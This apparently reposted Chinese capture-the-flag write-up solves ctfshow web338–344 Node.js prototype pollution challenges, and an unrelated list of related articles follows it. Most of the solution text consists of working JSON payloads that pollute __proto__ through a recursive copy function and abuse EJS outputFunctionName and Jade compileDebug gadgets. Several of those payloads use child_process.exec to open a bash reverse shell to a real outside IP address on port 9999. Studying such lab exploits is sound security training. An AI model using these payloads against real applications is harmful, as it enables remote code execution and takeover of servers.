ctfshow web入門 web338--web344

web338

原型鏈污染

comman.js

module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登錄失敗'+JSON.stringify(user)});  }});module.exports = router;

我們知道沒有對象都有一個原生屬性就是__proto__然后我們利用這個來使用copy來實現屬性的污染把,secret的ctfshow屬性變為36dboy

POST:
{"__proto__":{"ctfshow":"36dboy"}}

在這里插入圖片描述

然后發包就行

web339

原型鏈污染覆蓋 query 實現命令執行

app.js:

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');function User(){this.username='';this.password='';
}
function normalUser(){this.user
}/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登錄失敗'+JSON.stringify(user)});  }});module.exports = router;

api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;
res.render('api', { query: Function(query)(query)});
query屬性并且想把這個屬性變成函數然后再直接調用這個函數

我們利用這個來覆蓋query進行RCE

Function環境下沒有require函數,不能獲得child_process模塊,我們可以通過使用process.mainModule.constructor._load來代替require。

在這里插入圖片描述

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}

然后使得api起反應,那么函數就會被調用了
在這里插入圖片描述

在這里插入圖片描述

由于是污染題,所以我靶機是開了差不多十來次,終于是拿到了
在這里插入圖片描述
最后翻到了flag

web340

login.js變了

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登錄失敗'});  }});module.exports = router;

用我們發送的請求(req.body)覆蓋user.userinfo的屬性為真
而我們要污染到object的話就要兩層才能達到因為
userinfo上層為useruser的上層為object

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}

發包然后觸發即可
在這里插入圖片描述

web341

ejs 原型鏈污染 RCE

源碼和340沒有變,但是沒有api的函數觸發了
首先一樣的雙層污染
用snyk測一下先發現有ejs的

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');var __tmp2"}}}

這里的前面的 _tmp1; 和后面的 var __tmp2 不能刪,是為了閉合代碼。
在這里插入圖片描述
污染之后沒有反應,隨便訪問一個頁面,反彈成功
在這里插入圖片描述
根目錄下面找到flag

web342–web343

jade 原型鏈污染 rce

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');//"}}}{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}

在這里插入圖片描述
這里有些師傅反彈不到,可能是一個細節res接受JSON

而在是在login發包,你如果原地發會報錯

web344

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);   if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});

過濾了8c 2c ,

var query = JSON.parse(req.query.query);   
定義了一個js對象,訪問其參數值

直接傳就行了

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
考慮一下繞過

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/42031.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/42031.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/42031.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【ubuntu】掛載新磁盤

1、查看磁盤 sudo fdisk -l#Disk /dev/sdb: 4.0 TiB #Disk model: HNA641010BCF105 #Units: sectors of 1 * 512 512 bytes #Sector size (logical/physical): 512 bytes / 4096 bytes #I/O size (minimum/optimal): 4096 bytes / 4096 bytes #Disklabel type: gpt #Disk id…

python argparse模塊nargs用法

nargs 是 argparse 模塊中用來指定參數的數量的屬性。不同的 nargs 取值有不同的含義,下面是一些常用的用法: nargsNone (默認值):表示該參數只能接收一個值。例如:--foo 123。 nargs?:表示該參數最多接收一個值。如…

gcc/g++的四步編譯

目錄 前言1.預處理(進行宏替換)2.編譯(生成匯編)3.匯編(生成二進制文件)4. 鏈接 (生成可執行文件)a. 動態庫 && 動態鏈接b. 靜態庫 && 靜態鏈接c. 驗證d. 動靜態鏈接…

技術實現路徑怎么寫?(Word項目技術路徑文檔參考)

軟件項目編寫技術實現路徑至關重要,因為它為項目團隊提供了清晰的開發藍圖。這一路徑明確了從項目啟動到交付各階段所需的技術方案、步驟及預期成果,有助于團隊統一認識,確保開發工作有序進行。同時,技術實現路徑有助于識別潛在的…

HetuEngine簡介

目錄 HetuEngine是什么? HetuEngine的特點以及使用場景 特點 使用場景 HetuEngine介紹 結構 近期用到了Hetu,了解下這個工具是起什么作用的。 HetuEngine是什么? 是引擎,設計是為了讓與當前的大數據生態完美融合的引擎&am…

本安防爆手機:危險環境下的安全通信解決方案

在石油化工、煤礦、天然氣等危險環境中,通信安全是保障工作人員生命安全和生產順利進行的關鍵。防爆智能手機作為專為這些環境設計的通信工具,提供了全方位的安全通信解決方案。 防爆設計與材料: 防爆智能手機采用特殊的防爆結構和材料&…

Mysql部署MHA高可用

部署前準備: mysql-8.0.27下載地址:https://cdn.mysql.com//Downloads/MySQL-8.0/mysql-8.0.27-1.el7.x86_64.rpm-bundle.tar mha-manager下載地址:https://github.com/yoshinorim/mha4mysql-manager/releases/download/v0.58/mha4mysql-mana…

【Selenium】 使用save_screenshot截圖無法保存圖片

Selenium 使用save_screenshot截圖無法保存 代碼如下 from time import sleep from selenium import webdriver driver webdriver.Chrome() driver.maximize_window() driver.get(http://www.baidu.com) # 截取當前窗口,指定截圖圖片的保存位置 driver.save_scre…

為什么需要做網絡安全服務?

網絡安全服務之所以重要,是因為它在保護數字資產、維護企業運營、確保法規遵從、防范惡意行為以及建立信任等方面扮演著關鍵角色。以下是一些主要的理由: 保護核心資產和數據: 數字化轉型使得企業數據變得極其寶貴,包括知識產權、…

深度學習模型加密python版本

支持加密的模型: # torch、torch script、onnx、tensorrt 、torch2trt、tensorflow、tensorflow2tensorrt、paddlepaddle、paddle2tensorrt 深度學習推理模型通常以文件的形式進行保存,相應的推理引擎通過讀取模型文件并反序列化即可進行推理過程. 這樣一來&#…

數據庫——事務管理

title: 數據庫——事務管理 date: 2024-07-06 11:55:39 tags: 數據庫 categories: 數據庫 cover: /image/T1.jpg description: 數據庫的事務管理的相關知識 事務管理 事務管理是對一系列數據庫操作進行管理的過程,這些操作被視為一個不可分割的工作單元&#xff0…

20K Stars!一個輕量級的 JS 庫

大家好,我是CodeQi! 一位熱衷于技術分享的碼仔。 Driver.js 是一個輕量級的 JavaScript 庫,旨在幫助開發人員創建網站或應用程序的引導和教程。通過 Driver.js,您可以引導用戶了解網站的各個功能和使用方式。 Driver.js 提供了高度可定制的功能,使其能夠適應各種需求和…

寶塔-Linux模板常用命令-centos7

一、寶塔-Linux模板常用命令: 1.停止寶塔 /etc/init.d/bt stop 2.啟動寶塔 /etc/init.d/bt start 3.重啟寶塔 /etc/init.d/bt restart 4.卸載寶塔 /etc/init.d/bt stop && chkconfig --del bt && rm -f /etc/init.d/bt && rm -rf …

如何使用echart做K線圖

使用ECharts制作K線圖需要先引入ECharts的庫文件&#xff0c;然后通過調用相應的API來配置和渲染K線圖。以下是一個簡單的示例代碼&#xff1a; // 引入ECharts庫文件 <script src"https://cdn.jsdelivr.net/npm/echarts5.0.0/dist/echarts.min.js"></scri…

使用Python繪制和弦圖

使用Python繪制和弦圖 和弦圖效果代碼 和弦圖 和弦圖用于展示數據的多對多關系&#xff0c;適合用于社交網絡、交通流量等領域的分析。 效果 代碼 import pandas as pd import holoviews as hv from holoviews import opts hv.extension(bokeh)# 示例數據 data [(A, B, 2),…

想在vue中預覽doxc,excel,pdf文件? vue-office提供包支持

在浩瀚的Vue生態中&#xff0c;vue-office猶如一顆璀璨的星辰&#xff0c;以其獨特的魅力照亮了開發者處理多種文件格式的預覽之路。這款精心打造的Vue組件庫&#xff0c;不僅擁抱了Vue2的經典&#xff0c;也緊密跟隨Vue3的步伐&#xff0c;展現了卓越的技術前瞻性和兼容性。它…

印尼網絡安全治理能力觀察

在全國國際機場的移民服務完全癱瘓 100 多個小時后&#xff0c;印尼政府承認其新成立的國家數據中心 (PDN) 遭受了網絡攻擊。 惡意 Lockbit 3.0 勒索軟件加密了存儲在中心的重要數據&#xff0c;其背后的黑客組織要求支付 800 萬美元的贖金。 不幸的是&#xff0c;大多數數據…

遞推平均濾波法(又稱滑動平均濾波法)

遞推平均濾波法(又稱滑動平均濾波法) 遞推平均濾波法:把連續取得的N個采樣值看成一個隊列,隊列的長度固定為N,每次采樣到一個新數據放入隊尾,并扔掉原來隊首的一次數據(先進先出原則),把隊列中的N個數據進行算術平均運算,獲得新的濾波結果。 優點: 對周期性干擾有良…

性能測試相關理解(一)

根據學習全棧測試博主的課程做的筆記 一、說明 若未特別說明&#xff0c;涉及術語都是jmeter來說&#xff0c;線程數&#xff0c;就是jmeter線程組中的線程數 二、軟件性能是什么 1、用戶關注&#xff1a;響應時間 2、業務/產品關注&#xff1a;響應時間、支持多少并發數、…

深入解析 androidx.databinding.Bindable 注解

在現代 Android 開發中&#xff0c;數據綁定 (Data Binding) 是一個非常重要的技術。它使得我們能夠簡化 UI 和業務邏輯之間的連接&#xff0c;從而提高代碼的可讀性和維護性。在數據綁定中&#xff0c;Bindable 注解是一個關鍵部分&#xff0c;它幫助我們實現雙向數據綁定和自…